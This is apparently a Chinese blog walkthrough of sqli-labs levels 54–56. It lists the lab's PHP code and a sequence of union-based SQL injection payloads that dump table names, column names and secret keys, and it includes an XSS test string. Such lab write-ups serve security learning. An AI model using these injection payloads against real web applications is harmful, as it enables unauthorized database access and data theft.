当前位置:网站首页>sqli-labs通关汇总-page4
sqli-labs通关汇总-page4
2022-07-02 06:23:00 【徐记荣】
less-54(GET型、单引号、联合查询)
less-55(GET型、数字型括号、联合查询)
less-56(GET型、单引号括号、联合查询)
less-54
标题:GET - challenge - Union -10 queries allowed - Variation1
这里开始有意思了,仅允许10个查询
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
排除数字型闭合,确定为单引号闭合
第三步:测闭合
?id=1' --+
确定为''
闭合
第四步:测查询语句字段数
这个就很迷了,你运气不好你就测不到,这时候还是用二分法
去测吧
?id=1' order by 4 --+
报错,说明查询语句字段数小于4
第五步:测查询语句字段数
?id=1' order by 3 --+
得出查询语句字段数为3个
第六步:测前端回显位置,顺带着回显数据库
?id=-1' union select database(),database(),database() --+
得到数据库名为challenges
第七步:获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
得到表名为rt85c5veac
第八步:获取字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rt85c5veac'),3 --+
得到字段名:id,sessid,secret_F5D9,tryy
有个叫秘密
的字段名
第九步:获取字段值
?id=-1' union select 1,(select group_concat(secret_F5D9) from rt85c5veac),3 --+
得到key:e3GqUNpU23vQcA9K2fGxOrNz
提交
OK
看一下源码
不全贴,先看index.php
这个文件的代码跟之前
除了数据库用的是$dbname1 = "challenges";
,都是一样
我们看一下functions.php
定义了好多方法,我们先看一下主函数部分
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //charset for dynamic generation of strings
// Generating a dynamic alfanumeric Table name with each purge.
$table = num_gen(10, $characters) ;
// Generating Secret key column.
$secret_key = "secret_".num_gen(4, $characters);
//retrieve dynamic table name from database.
定义了个字符串$characters
调用了num_gen
方法,
1.num_gen()
function num_gen($string_length, $characters)
{
$string = '';
for ($i = 0; $i < $string_length; $i++)
{
$string .= $characters[rand(0, strlen($characters) - 1)];
}
return $string;
}
该方法生成一个在ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
字符中的长度为$string_length的随机字符串
$table
生成了一个长度为10的随机字符串$secret_key
生成了一个程度为4的随机字符串
我们在看一下其他方法
2.table_name()
function table_name()
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname1'";
$result=mysqli_query($con1, $sql) or die("error in function table_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function table_name() output". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges
库中的所有表,并返回第一个表
3.column_name()
function column_name($idee)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$table = table_name();
$sql="SELECT column_name FROM information_schema.columns WHERE table_name='$table' LIMIT $idee,1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges
库中的第一个表
的字段,$idee
限制输出第几个字段,并返回字段名
4.data()
function data($tab,$col)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT $col FROM $tab WHERE id=1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法用来查询$tab
表,返回$col
字段值
5.next_tryy
function next_tryy()
{
$table = table_name();
//including the Mysql connect parameters.
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql = "UPDATE $table SET tryy=tryy+1 WHERE id=1";
mysqli_query($con1, $sql) or die("error in function next_tryy()". mysqli_error($con1));
}
该方法使id=1
的try
字段的字段值+1
6.view_attempts
function view_attempts()
{
include("../sql-connections/sql-connect-1.php");
$table = table_name();
$sql="SELECT tryy FROM $table WHERE id=1";
$result=mysqli_query($con1, $sql) ;
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function view_attempts()". mysqli_error($con1));
else
return $row[0];
}
该方法查询id=1
的try
字段的字段值,并返回
我们看一下主页面index.php
$pag = $_SERVER['PHP_SELF'];
代码 | 描述 |
---|---|
$_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。_ FILE __ 常量包含当前(例如包含)文件的完整路径和文件名。 |
我这里$pag
的值是
/sqli/Less-54/index.php
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
$time
用来限制查询次数的$table
用来获取challenges
的表名,表只有一个$col
和$col1
分别来获取两个字段名,后面有注释,分别是session id
和secret key
'answer_key'
是
下面这个Submit
,没点击前是没有值的,所以if
后面语句才能执行
'reset'
是
前面重制关卡的按钮,不点也是空,所以if
后面也不会执行,如果点了,提交了,就会重新发个cookie
后面这一部分,如果cookie不为空,则给cookie内添加表内session id
的值,和一个月的时间
获取前端传来的id
值,若存在
执行next_tryy()
方法,表中tryy值+1
并执行view_attempts()
方法,回显tryy值
下一步,判断tryy
值是否超过10次,超过就删掉cookie,重新跳转页面,前面$pag
获取的路径就是用在这的
后面这一部分就是常规的查询,前端回显值
再后面这部分是处理,提交key
是否正确的代码
非常有意思的是他这边分别用addslashes()
和mysqli_real_escape_string()
做了两次转义,没想明白有什么用,但此处提交
<script>alert(/xss/)</script>
可以发现此处是存在xss漏洞
的
less-55
GET - challenge - Union - 14 queries allowed - Variation 2
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
无回显,排除单引号闭合,确定为数字型
第三步:测闭合
?id=1 --+
无回显,继续加括号
第四步:测闭合
?id=1) --+
有回显,可以确定为()
闭合
第五步:测查询语句字段数
?id=1) order by 4 --+
说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1) order by 3 --+
说明查询语句字段数为3
第七步:测前端回显位置,顺带着回显数据库
得到数据库名challenges
第八步:获取表名
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
得到表名为b6gqo9qti7
第九步:获取字段名
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='b6gqo9qti7'),3 --+
得到字段名id,sessid,secret_UHTF,tryy
第十步:获取字段值
?id=-1) union select 1,(select group_concat(secret_UHTF) from b6gqo9qti7),3 --+
得到key:UUN75bQF8s7z116LDOpgUNp7
做到这突然想起一个事情,包括54关
这里顺带回显数据库是不对的,因为无法确定回显位置是1,2,3
中的哪两个
还有55关与54关除了闭合没什么区别
less-56
标题:GET - challenge - Union - 14 queries allowed - variation 3
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
有回显,可以排除数字型,确定为单引号闭合
第三步:测闭合
?id=1' --+
无回显,继续加括号
第四步:测闭合
?id=1') --+
有回显,说明是('')
闭合
第五步:测查询语句字段数
?id=1') order by 4 --+
报错,说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1') order by 3 --+
有回显,说明查询语句字段数为3
第七步:查看前端回显位置
?id=-1') union select 1,2,3 --+
2,3
处存在回显
第八步:获取数据库名
?id=-1') union select 1,database(),3 --+
得到数据库名:challenges
第九步:获取表名
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
得到表名:5ickf0b94k
第十步:获取字段名
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='5ickf0b94k'),3 --+
得到字段名:id,sessid,secret_PK1F,tryy
第十一步:获取字段值
?id=-1') union select 1,(select group_concat(secret_PK1F) from 5ickf0b94k),3 --+
得到key:ZHMul4PlVGOjx8USXcH5Rgy6
和55关、54关一样,仅仅是闭合变为了('')
less-57
GET - challenge - Union - 14 queries allowed - Variation 4
边栏推荐
- Uploading attachments using Win32 in Web Automation
- flex九宫格布局
- 部署api_automation_test过程中遇到的问题
- In depth study of JVM bottom layer (II): hotspot virtual machine object
- Apt command reports certificate error certificate verification failed: the certificate is not trusted
- Huawei mindspire open source internship machine test questions
- Log - 7 - record a major error in missing documents (A4 paper)
- Solution to the black screen of win computer screenshot
- selenium备忘录:selenium\webdriver\remote\remote_connection.py:374: ResourceWarning: unclosed<xxxx>解决办法
- 20201025 visual studio2019 qt5.14 use of signal and slot functions
猜你喜欢
CTF three count
unittest. Texttestrunner does not generate TXT test reports
Latex error: the font size command \normalsize is not defined problem solved
In depth study of JVM bottom layer (3): garbage collector and memory allocation strategy
In depth study of JVM bottom layer (II): hotspot virtual machine object
如何调试微信内置浏览器应用(企业号、公众号、订阅号)
Implement strstr() II
The use of regular expressions in JS
Sentry搭建和使用
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
随机推荐
VSCODE 安装LATEX环境,参数配置,常见问题解决
Underlying mechanism mvcc
QQ email cannot receive the email sent by Jenkins using email extension after construction (timestamp or auth...)
Sublime text configuring PHP compilation environment
20201025 Visual Studio2019 QT5.14 信号和槽功能的使用
flex九宫格布局
virtualenv和pipenv安装
The use of regular expressions in JS
Vector types and variables built in CUDA
A preliminary study on ant group G6
20210306 reprint how to make TextEdit have background pictures
There is no way to drag the win10 desktop icon (you can select it, open it, delete it, create it, etc., but you can't drag it)
Fe - use of weex development weex UI components and configuration use
Eggjs -typeorm 之 TreeEntity 实战
sqli-labs通关汇总-page3
(第一百篇BLOG)写于博士二年级结束-20200818
蚂蚁集团g6初探
Detailed definition of tensorrt data format
Latex 编译报错 I found no \bibstyle & \bibdata & \citation command
Explanation and application of annotation and reflection